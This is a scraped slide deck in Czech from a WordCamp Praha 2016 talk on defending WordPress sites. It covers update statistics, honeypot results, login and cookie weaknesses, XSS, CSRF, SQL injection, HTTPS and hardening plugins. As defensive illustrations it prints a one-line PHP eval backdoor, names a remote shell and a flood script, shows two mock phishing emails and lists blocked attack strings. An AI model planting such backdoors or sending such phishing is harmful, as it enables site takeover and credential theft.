SlideShare a Scribd company logo
1 of 60
Download to read offline
http://lynt.cz
Bezpečnost WordPressu:
bráníme se digitálním nájezdníkům
Vláďa Smitka
vladimir.smitka@lynt.cz
@smitka
Lynt services s.r.o.
Aktualizujte!
Zálohujte!
Buďte opatrní!
http://lynt.cz
WP je děravý jako cedník
20. 2. 2016 2
Kdo tento názor už někdy slyšel?
Pojďme si to uvést na pravou míru.
http://lynt.cz20. 2. 2016 3
Aktualizovaný / Neaktualizovaný
Tvůrci webů by měli více tlačit na zákazníky,
aby si zaplatili podporu, a opravdu jí vykonávat.
Zákazníci by toto měli být ochotní akceptovat,
web je prakticky další zaměstnanec.
http://lynt.cz
Jaký je aktuální stav?
• Velký průzkum 65 000 českých webů 04/2015
20. 2. 2016 4
https://lynt.cz/blog/wordpress-v-cz-velky-pruzkum
http://lynt.cz
Stav předevčírem
20. 2. 2016 5
16 639
http://lynt.cz
Stav předevčírem
20. 2. 2016 6
3.7.13
247
3.8.13
1779
3.9.10
2229
4.0.10
2570
4.1.10
2946
4.2.7
4305
4.3.3
4695
4.4.2
15225
http://lynt.cz
Stav předevčírem
20. 2. 2016 7
25 % WP webů používá verzi řady 3.6 a nižší – pro ně již nevycházejí bezpečnostní updaty
18 % WP webu řady 3.7 a vyšší nemá aplikované poslední bezpečnostní updaty
=
Minimálně 40% českých WP webů obsahuje bezpečnostní chyby
http://lynt.cz
Co to v reálu znamená?
• Příležitost pro WordCamp HACK kampaň!
• Rozeslal jsem téměř 1000 hlášení o kritických
zranitelnostech na webových stránkách nebo
již napadených webech
• Přes 300 zranitelných pluginů Slider
Revolution!
• Ohlas na podobné aktivity je ale poměrně
malý…
20. 2. 2016 8
http://lynt.cz
Jak si aktualizace ohlídat?
• Plugin WP Updates Notifier pošle mail, když je
update k dispozici
• Pro více webů existují systémy pro hromadnou
správu:
– InfiniteWP
– ManageWP
– WP Remote
• Zapnout auto-update (ideálně mu-plugins):
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
20. 2. 2016 9
http://lynt.cz
Infinite WP
• Provoz na vlastním hostingu
• Základní verze zdarma (plně funkční)
• Stačí nainstalovat plugin InfiniteWP Client a zkopírovat údaje
20. 2. 2016 10
http://lynt.cz
Automatické testování funkčnosti
• Pokud se bojíte, že se něco důležitého updatem
rozbije, je možné napsat si automatizované testy
• Casper.js
• Selenuium
• GhostPy
• Online služby: http://www.testomato.com/,...
20. 2. 2016 11
http://lynt.cz
Hackeři?
20. 2. 2016 12
http://lynt.cz
Co chtějí?
• Jak to můžu vědět?
• Analýza napadených systémů + Honey Poty
• http://pot.lynt.cz – emulace staršího WP s
některými bezpečnostními chybami, falešné
SSH
20. 2. 2016 13
http://lynt.cz
Honey Pot
• Jak dlouho trvalo po spuštění nového stroje
než začaly první útoky?
20. 2. 2016 14
12 minut
• Internet je nebezpečný – akceptujte to a
buďte připraveni!
http://lynt.cz
Co tedy chtějí?
• Vložit na web škodlivý kód, který
návštěvníkům stahuje malware a zobrazuje
reklamy
• Rozesílat SPAM
• Útočit na jiné servery
• Získat citlivé informace
• Odstavit web/server
20. 2. 2016 15
http://lynt.cz
Jaké zlé kódy útočníci nahrávají?
20. 2. 2016 16
První zmínka o skriptu Simple UDP
flood z roku 2004:
https://forums.cpanel.net/threads/scr
ipt-in-tmp-made-by-hacker.33184/
Jednoduchý backdoor:
eval($_POST[sam]);
Remote shell – např. b374k
Skripty pro další útoky:
• Lámání hesel
• Posílání SPAMu
• Skript Simple UDP flood
http://lynt.cz
Jak to zkouší?
• Přihlášení
• Komentáře
• Konkrétní chyby v
pluginech, šablonách a
jádře WP
• Odposlech informací
• Phishing
• Útoky přes jiné weby na
hostingu
20. 2. 2016 17
Připravená zdaní vrátka:
http://lynt.cz
Cross infection
• Častý problém na multihostingu
20. 2. 2016 18
Složkasweby
Web1
Web2
Web3
http://lynt.cz
Jak se přihlásit do WP?
• /wp-admin + jméno a heslo
• XML-RPC (/xmlrpc.php)
• Cookie
• REST-API (/wp-json) – již brzy
20. 2. 2016 19
http://lynt.cz
Získání přihlašovacích údajů
• /?author=1 => /author/admin/
• Heslo admin, admin0, admin1,… Brute force
Do .htaccess:
RewriteCond %{QUERY_STRING} author=
RewriteRule ^(.*)$ http://beznekam.ty? [L,R=301]
20. 2. 2016 20
http://lynt.cz
Nebo to odposlechnu
20. 2. 2016 21
http://lynt.cz
Nebo se zeptám
Předmět: Bezpečnostní problém na webu wordcamp.cz
Datum: Sat, 20 FEB 2016 09:51:48 +0200
Od: HOSTING <hosting@hosting.nejaky>
Komu: <ty>
Vážený zákazníku,
Na Vaší webové prezentaci wordcamp.cz založené na redakčním systému WordPress byla zjištěna závažná
bezpečnostní chyba v pluginu Skvělej Plugin, které umožňuje útočníkovi získat plnou kontrolu nad Vaším
webem a následně útočit na další weby.
Oficiální oprava zatím není k dispozici. Naši specialisté však mohou chybu opravit ručně.
K tomu potřebujeme Vaše přihlašovací údaje do administrace WordPress.
Zašlete nám je prosím obratem, ať můžeme zabránit dalším útokům. V opačném případě budeme bohužel
nuceni Vaši webovou prezentaci pozastavit.
Hosting Nějaký, s.r.o.
20. 2. 2016 22
http://lynt.cz
XML RPC
• /xmlrpc.php
• Protokol pro vzdálené ovládání webu z aplikací atd. –
umožňuje například publikovat článek
• Téměř se nepoužívá
• Používají ho některé pluginy – JetPack
• Pomocí funkce system.multicall šlo testovat stovky hesel
jedním dotazem (říjen 2015)
• Vhodné zakázat a případně povolit pouze z několika adres pro
funkčnost pluginů
20. 2. 2016 23
Do .htaccess
<Files "xmlrpc.php">
Order Allow,Deny
deny from all
</Files>
http://lynt.cz
Cookie
20. 2. 2016 24
http://lynt.cz
Cookie
wordpress_9338f7bf999516f89fdc070299cf0b82=admin
%7C1456673124%7COB8LpfMl7ZqlMm1zuN23LMBGOna
0IdLmz4g7JQBwtYn%7Cb73f661495e9323a6df2dffe8001
5360b41ed8970a5cf05dd4053aecc4109a40
20. 2. 2016 25
• md5(URL) = http://pot.lynt.cz
• Uživatelské jméno
• Doba platnosti = 28.2.2016 15:25:24 (+14 dní)
• Hash – AUTH_KEY + AUTH_SALT + 4 znaky z hash hesla
• Token (od 4.0) hash 43 náhodných znaků
http://lynt.cz
Šifrovací klíče v wp-config.php
define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define('NONCE_KEY', 'put your unique phrase here');
define('AUTH_SALT', 'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT', 'put your unique phrase here');
define('NONCE_SALT', 'put your unique phrase here');
Nové z adresy:
https://api.wordpress.org/secret-key/1.1/salt/
Při zkoumání zranitelnosti ve Slider Revolution používalo 16 % zranitelných webů
výchozí šifrovací klíče.
Pokud instalujete pomocí přejmenování wp-config-sample.php, nezapomeňte klíče
změnit!
20. 2. 2016 26
http://lynt.cz
WordPress 4.0+
20. 2. 2016 27
Možnost odhlásit uživatele z ostatních zařízení – díky tokenu
36 % WP webů tuto verzi však nepoužívá
Uživatelský profil:
http://lynt.cz
Odposlouchávání
20. 2. 2016 28
Na rozdíl od jména a hesla se cookie posílají neustále.
http://lynt.cz
Dopady vzrůstají s právy uživatele
20. 2. 2016 29
• Návštěvník (Subscriber)
– Může pouze číst obsah, editovat svůj profil. Má jednodušší práci s komentáři.
• Spolupracovník (Contributor)
– Může psát nové příspěvky, ale publikovat je může až Admin nebo Šéfredaktor.
Nemá přístup do galerie médií (může ale vkládat obrázky z externích zdrojů) –
guest blogging.
• Redaktor (Author)
– Může spravovat své příspěvky včetně správy komentářů, nahrávat soubory do
galerie médií. Nemůže pracovat se stránkami.
• Šéfredaktor (Editor)
– Může spravovat veškerý obsah – příspěvky, stránky, komentáře, kategorie, v
jeho komentářích může být javascript.
• Administrátor (Administrator)
– Může spravovat vše – obsah, pluginy, šablony, widgety. Ideálně by neměl tvořit
obsah.
• SuperAdministrátor (pro WP multisite) – spravuje síť webů
http://lynt.cz
Úprava práv
• Práva lze upravit - pokud někdo potřebuje
například editovat menu, nemusí mít admin
práva:
• Plugin User Role Editor
• Dopsat si vlastní:
20. 2. 2016 30
https://codex.wordpress.org/Roles_and_Capabilities
$role_object = get_role( 'editor' );
$role_object->add_cap( 'edit_theme_options' );
http://lynt.cz
HTTPS
• Certifikáty jsou dnes už levné:
• < 200 Kč/rok – např. na ssls.cz
• Zdarma – Let‘s Encrypt
(nutná podpora na serveru)
• Celý web na HTTPS (lepší řešení)
• Jen administrace
20. 2. 2016 31
git clone https://github.com/letsencrypt/letsencrypt /opt/letsencrypt
./letsencrypt-auto --apache -d <muj-web> -d www. <muj-web>
Obnovovací skript: http://do.co/le-renew (le-renew <muj-web>)
http://lynt.cz
Nasazujeme HTTPS pro celý web
• Požádám hostera/správce o nastavení certifikátu
• Vyzkouším, že to funguje
• Nastavení - obecné
20. 2. 2016 32
Lze to také nastavit ve wp-config.php,
ušetří se tím dotazy do DB:
define('WP_HOME', 'https://<muj-web>');
define('WP_SITEURL', 'https://<muj-web>');
• Problém – mixed content – WP vytváří absolutní odkazy – je potřeba je opravit
• SSL Insecure Content Fixer
• Oprava v administraci
• Oprava v databázi:
UPDATE wp_posts SET post_content = REPLACE(post_content,
'http://<muj-web>', 'https://<muj-web>')
http://lynt.cz
Nasazujeme HTTPS jen pro administraci
Do wp-config.php:
define( 'FORCE_SSL_ADMIN', true );
Opět bude pravděpodobně problém s „mixed content“ v galerii
médií:
SSL Insecure Content Fixer + nastavení Simple
20. 2. 2016 33
http://lynt.cz20. 2. 2016 34
Opraví styly,
JS a obrázky v
galerii médií
Opraví URL i
v obsahu
webu
Nastavení - SSL Insecure Content
http://lynt.cz
Přesměrování z HTTP na HTTPS
V .htaccess:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{SERVER_PORT} !^443$
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R,L]
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
20. 2. 2016 35
* Může se lišit v závislosti na hostingu
http://lynt.cz
Další šifrované protokoly
• SFTP/SCP/FTPs místo FTP
• SSH místo Telnet
• IMAPs (POP3s) místo IMAP (POP3)
• SMTP TLS/SMTP STARTTLS místo SMTP
• VPN
20. 2. 2016 36
http://lynt.cz
Jak probíhá útok?
• Veřejně známé informace (majitelé domény,
emailové adresy, ip, jména zaměstnanců… recon-
ng)
• Aktivní scan, identifikace - WP-scan
• Agresivní scan – např. DirBuster (zkouší, zda
existují určité složky např. /phpmyadmin/)
• Testy zranitelností, generuje podivné dotazy
• Často lze odhalit díky velkému množství chyb 404
20. 2. 2016 37
http://lynt.cz
XSS
20. 2. 2016 38
http://lynt.cz
XSS – horší
20. 2. 2016 39
http://lynt.cz
XSS – velmi nebezpečné
20. 2. 2016 40
Překryv reagující na pohyb myši
onMouseMove
http://lynt.cz
XSS – maximum
20. 2. 2016 41
http://lynt.cz
Požádáme administrátora o pomoc
Předmět: Bezpečnostní problém na webu wordcamp.cz
Datum: Sat, 20 FEB 2016 09:42:48 +0200
Od: HOSTING <hosting@hosting.nejaky>
Komu: <ty>
Vážený zákazníku,
Na Vaší webové prezentaci wordcamp.cz založené na redakčním systému WordPress byla zjištěna
závažná bezpečnostní chyba v pluginu Skvělej Plugin, které umožňuje útočníkovi získat plnou kontrolu
nad Vaším webem a následně útočit na další weby.
Dokud nebude oprava k dispozici, je potřeba vypnout funkci Oškliváctví – to můžete udělat snadno
pomocí následujícího odkazu:
http://<vas-web>/wp-content/plugins/skvelej-plugin/abc.php?xy=dG9obGUgamUgemx5IGtvZCA6LSk
Pokud funkci nevypnete, nebo plugin neodstraníte, budeme bohužel nuceni Vaši webovou prezentaci
pozastavit.
Hosting Nějaký, s.r.o.
20. 2. 2016 42
http://lynt.cz
Cross-site request forgery
• Nastává, když systém neověřuje, odkud opravdu přišel požadavek
20. 2. 2016 43
Admine, podívej
se na tuhle
super stránku!
Super stránka
Lorem ipsum
/založ uživatele
• Obranou jsou podepsané formuláře (server do nich vkládá token,
který si po odeslání ověří)
• Ve WP tzv. „nonce“ (ne všechny pluginy je využívají…)
/wp-admin/post.php?post=1&action=trash&_wpnonce=b192fc4204
http://lynt.cz
SQL Injection
• Opět neošetřené uživatelské vstupy
• Lze modifikovat databázové dotazy a díky tomu
získat i obsah celé databáze
• Zajímavé info v DB:
– E-maily
– Uživatelská jména, zahashovaná hesla
– Token k autentifikačnímu cookie
– Přístupové údaje k dalším službám
20. 2. 2016 44
http://lynt.cz
Bezpečnostní pluginy
• Má oblíbená kombinace:
• WordFence + BBQ: Bad Block Queries
• Blokace chybných přihlášení
• Omezení skenování
• Detekce změn v souborech
• Zákaz získávání uživatelských jmen
• Zákaz PHP v uploads
• Omezení SPAMu
• Přístup ke globálního seznamu právě útočících
• Filtr podezřelých dotazů
20. 2. 2016 45
http://lynt.cz20. 2. 2016 46
http://lynt.cz
WordFence – po instalaci
20. 2. 2016 47
Level 2: začne posílat více upozornění, snižují se limity chybných přihlášení
Level 3: se začínají uplatňovat omezování provozu
Level 4: okamžitě blokuje neplatná jména
http://lynt.cz
WordFence – Live Traffic
20. 2. 2016 48
http://lynt.cz
WordFence – detekce změn
20. 2. 2016 49
http://lynt.cz
WordFence – omezování provozu
20. 2. 2016 50
http://lynt.cz
WordFence – bezpečnost přihlášení
20. 2. 2016 51
http://lynt.cz
WordFence – další nastavení
20. 2. 2016 52
http://lynt.cz
WordFence – další nastavení
20. 2. 2016 53
Skvělý plugin, chybí však blokování podezřelých řetězců v URL
http://lynt.cz20. 2. 2016 54
Jednoduchý plugin bez konfigurace – automaticky
blokuje podezřelé HTTP požadavky
Např.: eval(, base64_, UNION * SELECT, wp-config.php, < …
http://lynt.cz
Co dělat při infekci
• Odstavení webu (např. zákaz v .htaccess)
• Smazání a obnova ze zálohy/desinfekce (FAR)
• Odstranění příčiny (často aktualizace)
• Změna hesla na FTP
• Změna hesla do DB
• Změna hesel uživatelů + kontrola neznámých
• Nové šifrovací klíče do wp-config.php:
https://api.wordpress.org/secret-key/1.1/salt/
• Kontrola souborů pluginem (Wordfence, Sucuri
Scanner)
20. 2. 2016 55
http://lynt.cz
Inspirace - jak chráníme naše weby?
• wp-login.php pouze z ČR (GeoIP modul)
• Blokovaný xmlrpc.php a další soubory + zákaz PHP v uploadech
• Blokace komentářového SPAMu (NoSpamNX) a Ping/Track Backů
(Topsy Blocker)
• Hromadná správa aktualizací
• Izolace jednotlivých webů
• HTTP hlavičky:
– X-Frame-Options SAMEORIGIN;
– X-XSS-Protection "1; mode=block"
– X-Content-Type-Options nosniff
• Odstranění nepoužívaných pluginů a šablon
20. 2. 2016 56
http://lynt.cz
Inspirace - jak chráníme naše weby?
• Fail2Ban (chybná přihlášení, příliš 404,
https://wordpress.org/plugins/wp-fail2ban/)
• Filtrování podezřelých řetězců (na straně serveru)
• Analýza logů (Log Stash) a chyb (Sentry) a monitoring serverů
(Zabbix)
• Sledování změn v souborech + analýza malware – Maldet + Yara
• Denní záloha na straně serveru (lze řešit i pluginy pro WP:
BackWPup, UpdraftPlus, BackupBuddy)
• Sledování informací o nových hrozbách
20. 2. 2016 57
http://lynt.cz
Další zdroje
• Info o zranitelnostech
• https://www.owasp.org/
• https://wpvulndb.com/
• https://blog.sucuri.net/
• https://www.wordfence.com/blog/
• https://packetstormsecurity.com/
• https://www.reddit.com/r/xss
• Loňská přednáška:
• http://www.slideshare.net/vsmitka/bezpenost-wp-tipy-pro-
kadho-wordcamp-praha-2015
20. 2. 2016 58
http://lynt.cz
Domácí úkol na zítra
□ Zkontrolovat, zda mám vygenerované unikátní
šifrovací klíče ve wp-config.php
□ Zazálohovat
□ Smazat pluginy, co nepoužívám/byly jen k
jednorázové činnosti
□ Smazat zbytečné šablony (nechat jen jednu
výchozí z instalace a případně rodičovskou)
□ Snížit oprávnění uživatelům, kteří jej nepotřebují
□ Aktualizovat, co je možné
20. 2. 2016 59
http://lynt.cz
A to je vše, přátelé.
20. 2. 2016 60
aktualizujte, zálohujte, používejte bezpečnostní plugin, buďte opatrní

More Related Content

What's hot

Nejčastejší problémy WordPress webů
Nejčastejší problémy WordPress webůNejčastejší problémy WordPress webů
Nejčastejší problémy WordPress webůVladimír Smitka
 
WordCamp Brno 2017 - rychlý a bezpečný web
WordCamp Brno 2017  - rychlý a bezpečný webWordCamp Brno 2017  - rychlý a bezpečný web
WordCamp Brno 2017 - rychlý a bezpečný webVladimír Smitka
 
WP výkon a jeho profilování
WP výkon a jeho profilováníWP výkon a jeho profilování
WP výkon a jeho profilováníVladimír Smitka
 
Bezpečnost WP, tipy pro každého - wordCamp Praha 2015
Bezpečnost WP, tipy pro každého - wordCamp Praha 2015Bezpečnost WP, tipy pro každého - wordCamp Praha 2015
Bezpečnost WP, tipy pro každého - wordCamp Praha 2015Vladimír Smitka
 
Základní pluginy pro WordPress
Základní pluginy pro WordPressZákladní pluginy pro WordPress
Základní pluginy pro WordPressRadek Kucera
 
Sysops tipy pro lepší WP
Sysops tipy pro lepší WPSysops tipy pro lepší WP
Sysops tipy pro lepší WPVladimír Smitka
 
Wordpress_DOD
Wordpress_DODWordpress_DOD
Wordpress_DODDoubry99
 
Najčastejšie problémy WordPress webov
Najčastejšie problémy WordPress webovNajčastejšie problémy WordPress webov
Najčastejšie problémy WordPress webovVladimír Smitka
 
Google Tag Manager a analytika ve WordPress
Google Tag Manager a analytika ve WordPressGoogle Tag Manager a analytika ve WordPress
Google Tag Manager a analytika ve WordPressVladimír Smitka
 
WordCamp Bratislava 2019 - Cache!
WordCamp Bratislava 2019 - Cache!WordCamp Bratislava 2019 - Cache!
WordCamp Bratislava 2019 - Cache!Vladimír Smitka
 
WordPress šablony a rychlost načítání (WordCamp Praha 2017)
WordPress šablony a  rychlost načítání (WordCamp Praha 2017)WordPress šablony a  rychlost načítání (WordCamp Praha 2017)
WordPress šablony a rychlost načítání (WordCamp Praha 2017)Martin Michálek
 
Základní pluginy pro WordPress 25-6-2016
Základní pluginy pro WordPress 25-6-2016Základní pluginy pro WordPress 25-6-2016
Základní pluginy pro WordPress 25-6-2016Radek Kucera
 
Jak zlepšit zabezpečení čtvrtiny celého webu
Jak zlepšit zabezpečení čtvrtiny celého webuJak zlepšit zabezpečení čtvrtiny celého webu
Jak zlepšit zabezpečení čtvrtiny celého webuMichal Špaček
 
Hesla a vícefaktorová autentizace ve WP
Hesla a vícefaktorová autentizace ve WPHesla a vícefaktorová autentizace ve WP
Hesla a vícefaktorová autentizace ve WPVladimír Smitka
 
Co musíte udělat po instalaci WordPressu?, Vlastimil Ott
Co musíte udělat po instalaci WordPressu?, Vlastimil OttCo musíte udělat po instalaci WordPressu?, Vlastimil Ott
Co musíte udělat po instalaci WordPressu?, Vlastimil OttLiberix, o.p.s.
 
WordPress ve školském prostředí
WordPress ve školském prostředíWordPress ve školském prostředí
WordPress ve školském prostředíVlastimil Ott
 
XSS PHP CSP ETC OMG WTF BBQ
XSS PHP CSP ETC OMG WTF BBQXSS PHP CSP ETC OMG WTF BBQ
XSS PHP CSP ETC OMG WTF BBQMichal Špaček
 
Hledání příčin pomalého webu a jak to řešit
Hledání příčin pomalého webu a jak to řešitHledání příčin pomalého webu a jak to řešit
Hledání příčin pomalého webu a jak to řešitDesingdev
 

What's hot (20)

Nejčastejší problémy WordPress webů
Nejčastejší problémy WordPress webůNejčastejší problémy WordPress webů
Nejčastejší problémy WordPress webů
 
WordCamp Brno 2017 - rychlý a bezpečný web
WordCamp Brno 2017  - rychlý a bezpečný webWordCamp Brno 2017  - rychlý a bezpečný web
WordCamp Brno 2017 - rychlý a bezpečný web
 
WP výkon a jeho profilování
WP výkon a jeho profilováníWP výkon a jeho profilování
WP výkon a jeho profilování
 
Bezpečnost WP, tipy pro každého - wordCamp Praha 2015
Bezpečnost WP, tipy pro každého - wordCamp Praha 2015Bezpečnost WP, tipy pro každého - wordCamp Praha 2015
Bezpečnost WP, tipy pro každého - wordCamp Praha 2015
 
Základní pluginy pro WordPress
Základní pluginy pro WordPressZákladní pluginy pro WordPress
Základní pluginy pro WordPress
 
Sysops tipy pro lepší WP
Sysops tipy pro lepší WPSysops tipy pro lepší WP
Sysops tipy pro lepší WP
 
Wordpress_DOD
Wordpress_DODWordpress_DOD
Wordpress_DOD
 
Najčastejšie problémy WordPress webov
Najčastejšie problémy WordPress webovNajčastejšie problémy WordPress webov
Najčastejšie problémy WordPress webov
 
Google Tag Manager a analytika ve WordPress
Google Tag Manager a analytika ve WordPressGoogle Tag Manager a analytika ve WordPress
Google Tag Manager a analytika ve WordPress
 
WordCamp Bratislava 2019 - Cache!
WordCamp Bratislava 2019 - Cache!WordCamp Bratislava 2019 - Cache!
WordCamp Bratislava 2019 - Cache!
 
WordPress šablony a rychlost načítání (WordCamp Praha 2017)
WordPress šablony a  rychlost načítání (WordCamp Praha 2017)WordPress šablony a  rychlost načítání (WordCamp Praha 2017)
WordPress šablony a rychlost načítání (WordCamp Praha 2017)
 
Základní pluginy pro WordPress 25-6-2016
Základní pluginy pro WordPress 25-6-2016Základní pluginy pro WordPress 25-6-2016
Základní pluginy pro WordPress 25-6-2016
 
Jak zlepšit zabezpečení čtvrtiny celého webu
Jak zlepšit zabezpečení čtvrtiny celého webuJak zlepšit zabezpečení čtvrtiny celého webu
Jak zlepšit zabezpečení čtvrtiny celého webu
 
Hesla a vícefaktorová autentizace ve WP
Hesla a vícefaktorová autentizace ve WPHesla a vícefaktorová autentizace ve WP
Hesla a vícefaktorová autentizace ve WP
 
WP Weekend 2018
WP Weekend 2018WP Weekend 2018
WP Weekend 2018
 
Co musíte udělat po instalaci WordPressu?, Vlastimil Ott
Co musíte udělat po instalaci WordPressu?, Vlastimil OttCo musíte udělat po instalaci WordPressu?, Vlastimil Ott
Co musíte udělat po instalaci WordPressu?, Vlastimil Ott
 
WordPress ve školském prostředí
WordPress ve školském prostředíWordPress ve školském prostředí
WordPress ve školském prostředí
 
XSS PHP CSP ETC OMG WTF BBQ
XSS PHP CSP ETC OMG WTF BBQXSS PHP CSP ETC OMG WTF BBQ
XSS PHP CSP ETC OMG WTF BBQ
 
Webmeetup #3
Webmeetup #3Webmeetup #3
Webmeetup #3
 
Hledání příčin pomalého webu a jak to řešit
Hledání příčin pomalého webu a jak to řešitHledání příčin pomalého webu a jak to řešit
Hledání příčin pomalého webu a jak to řešit
 

Viewers also liked

WordPress performance tuning
WordPress performance tuningWordPress performance tuning
WordPress performance tuningVladimír Smitka
 
WordPress Security: Defend yourself against digital invaders
WordPress Security:Defend yourself against digital invadersWordPress Security:Defend yourself against digital invaders
WordPress Security: Defend yourself against digital invadersVladimír Smitka
 
Pux 28.2.2017 Úvod do internetového marketingu
Pux 28.2.2017 Úvod do internetového marketinguPux 28.2.2017 Úvod do internetového marketingu
Pux 28.2.2017 Úvod do internetového marketinguBrilo Team
 
WordCamp Praha 2017 - Tomáš Kocifaj
WordCamp Praha 2017 - Tomáš KocifajWordCamp Praha 2017 - Tomáš Kocifaj
WordCamp Praha 2017 - Tomáš KocifajBrilo Team
 
České weby a Wordpress (Q4/2014)
České weby a Wordpress (Q4/2014)České weby a Wordpress (Q4/2014)
České weby a Wordpress (Q4/2014)Vladimír Smitka
 
Jednoduchý firemní web na WordPressu - WordCamp Praha 2014
Jednoduchý firemní web na WordPressu - WordCamp Praha 2014Jednoduchý firemní web na WordPressu - WordCamp Praha 2014
Jednoduchý firemní web na WordPressu - WordCamp Praha 2014Radek Kucera
 
Licence k šablonám a pluginům - WordCamp 2014 Praha
Licence k šablonám a pluginům - WordCamp 2014 PrahaLicence k šablonám a pluginům - WordCamp 2014 Praha
Licence k šablonám a pluginům - WordCamp 2014 PrahaTomáš Cirkl
 
Wordpress: Idealni nastroj pro chytre marketery
Wordpress: Idealni nastroj pro chytre marketeryWordpress: Idealni nastroj pro chytre marketery
Wordpress: Idealni nastroj pro chytre marketeryFilip Drimalka
 
Funkční SEO strategie pro váš web
Funkční SEO strategie pro váš webFunkční SEO strategie pro váš web
Funkční SEO strategie pro váš webPavel Ungr
 
Základní nastavení wordpressu
Základní nastavení wordpressuZákladní nastavení wordpressu
Základní nastavení wordpressuKamil Kuchta
 
Word press pluginy (pokročilé) - Tomáš Cirkl
Word press pluginy (pokročilé) - Tomáš CirklWord press pluginy (pokročilé) - Tomáš Cirkl
Word press pluginy (pokročilé) - Tomáš CirklTomáš Cirkl
 
WordPress security for everyone
WordPress security for everyoneWordPress security for everyone
WordPress security for everyoneVladimír Smitka
 

Viewers also liked (15)

WordPress performance tuning
WordPress performance tuningWordPress performance tuning
WordPress performance tuning
 
WordPress Security: Defend yourself against digital invaders
WordPress Security:Defend yourself against digital invadersWordPress Security:Defend yourself against digital invaders
WordPress Security: Defend yourself against digital invaders
 
Pux 28.2.2017 Úvod do internetového marketingu
Pux 28.2.2017 Úvod do internetového marketinguPux 28.2.2017 Úvod do internetového marketingu
Pux 28.2.2017 Úvod do internetového marketingu
 
WordCamp Praha 2017 - Tomáš Kocifaj
WordCamp Praha 2017 - Tomáš KocifajWordCamp Praha 2017 - Tomáš Kocifaj
WordCamp Praha 2017 - Tomáš Kocifaj
 
České weby a Wordpress (Q4/2014)
České weby a Wordpress (Q4/2014)České weby a Wordpress (Q4/2014)
České weby a Wordpress (Q4/2014)
 
Jednoduchý firemní web na WordPressu - WordCamp Praha 2014
Jednoduchý firemní web na WordPressu - WordCamp Praha 2014Jednoduchý firemní web na WordPressu - WordCamp Praha 2014
Jednoduchý firemní web na WordPressu - WordCamp Praha 2014
 
Wordcamp Praha 2014
Wordcamp Praha 2014Wordcamp Praha 2014
Wordcamp Praha 2014
 
Licence k šablonám a pluginům - WordCamp 2014 Praha
Licence k šablonám a pluginům - WordCamp 2014 PrahaLicence k šablonám a pluginům - WordCamp 2014 Praha
Licence k šablonám a pluginům - WordCamp 2014 Praha
 
Brandstorming 2017
Brandstorming 2017Brandstorming 2017
Brandstorming 2017
 
Wordpress: Idealni nastroj pro chytre marketery
Wordpress: Idealni nastroj pro chytre marketeryWordpress: Idealni nastroj pro chytre marketery
Wordpress: Idealni nastroj pro chytre marketery
 
Funkční SEO strategie pro váš web
Funkční SEO strategie pro váš webFunkční SEO strategie pro váš web
Funkční SEO strategie pro váš web
 
Základní nastavení wordpressu
Základní nastavení wordpressuZákladní nastavení wordpressu
Základní nastavení wordpressu
 
Word press pluginy (pokročilé) - Tomáš Cirkl
Word press pluginy (pokročilé) - Tomáš CirklWord press pluginy (pokročilé) - Tomáš Cirkl
Word press pluginy (pokročilé) - Tomáš Cirkl
 
WordPress security for everyone
WordPress security for everyoneWordPress security for everyone
WordPress security for everyone
 
Atomic design
Atomic designAtomic design
Atomic design
 

Similar to WordCamp Praha 2016 - Bezpečnost WordPress

Nette v cloudu - Poslední Sobota
Nette v cloudu - Poslední SobotaNette v cloudu - Poslední Sobota
Nette v cloudu - Poslední SobotaPatrik Votoček
 
Wordcamp Praha 2015 - další útržky z prezentace
Wordcamp Praha 2015 - další útržky z prezentaceWordcamp Praha 2015 - další útržky z prezentace
Wordcamp Praha 2015 - další útržky z prezentaceVladimír Smitka
 
Generátory statických webů
Generátory statických webůGenerátory statických webů
Generátory statických webůMichal Doležel
 
Pavel Ondřej: WordPress z pohledu hostingového poskytovatele
Pavel Ondřej: WordPress z pohledu hostingového poskytovatelePavel Ondřej: WordPress z pohledu hostingového poskytovatele
Pavel Ondřej: WordPress z pohledu hostingového poskytovateleLiberix, o.p.s.
 
Jak zrychlit WP pomocí cachovacích pluginů
Jak zrychlit WP pomocí cachovacích pluginůJak zrychlit WP pomocí cachovacích pluginů
Jak zrychlit WP pomocí cachovacích pluginůJakub Klapka
 
Tomáš Poner a Vladislav Musílek, Nejlepší affiliate pluginy pro WordPress
Tomáš Poner a Vladislav Musílek, Nejlepší affiliate pluginy pro WordPressTomáš Poner a Vladislav Musílek, Nejlepší affiliate pluginy pro WordPress
Tomáš Poner a Vladislav Musílek, Nejlepší affiliate pluginy pro WordPressColpirio.com s.r.o.
 
20110511 Vývoj software - produktivně, efektivně, kvalitně
20110511 Vývoj software - produktivně, efektivně, kvalitně20110511 Vývoj software - produktivně, efektivně, kvalitně
20110511 Vývoj software - produktivně, efektivně, kvalitněJiří Mareš
 
Víceúrovňová obrana vysvětlená na Cross-Site Scriptingu
Víceúrovňová obrana vysvětlená na Cross-Site ScriptinguVíceúrovňová obrana vysvětlená na Cross-Site Scriptingu
Víceúrovňová obrana vysvětlená na Cross-Site ScriptinguMichal Špaček
 
Bezpečnost e-shopů (HTTPS, XSS, CSP)
Bezpečnost e-shopů (HTTPS, XSS, CSP)Bezpečnost e-shopů (HTTPS, XSS, CSP)
Bezpečnost e-shopů (HTTPS, XSS, CSP)Michal Špaček
 
HTTPS zdarma a pro všechny - LinuxDays 2015
HTTPS zdarma a pro všechny - LinuxDays 2015HTTPS zdarma a pro všechny - LinuxDays 2015
HTTPS zdarma a pro všechny - LinuxDays 2015tomashala
 
Vyhledávače a JavaScript
Vyhledávače a JavaScriptVyhledávače a JavaScript
Vyhledávače a JavaScriptTaste Medio
 
WordCamp Prague 2014 - Website security cz
WordCamp Prague 2014 - Website security czWordCamp Prague 2014 - Website security cz
WordCamp Prague 2014 - Website security czpeter_sucuri
 
Semantický web (Martin Šimko)
Semantický web (Martin Šimko)Semantický web (Martin Šimko)
Semantický web (Martin Šimko)Taste Medio
 
WordCamp Bratislava 2017 - Martin Hlaváč
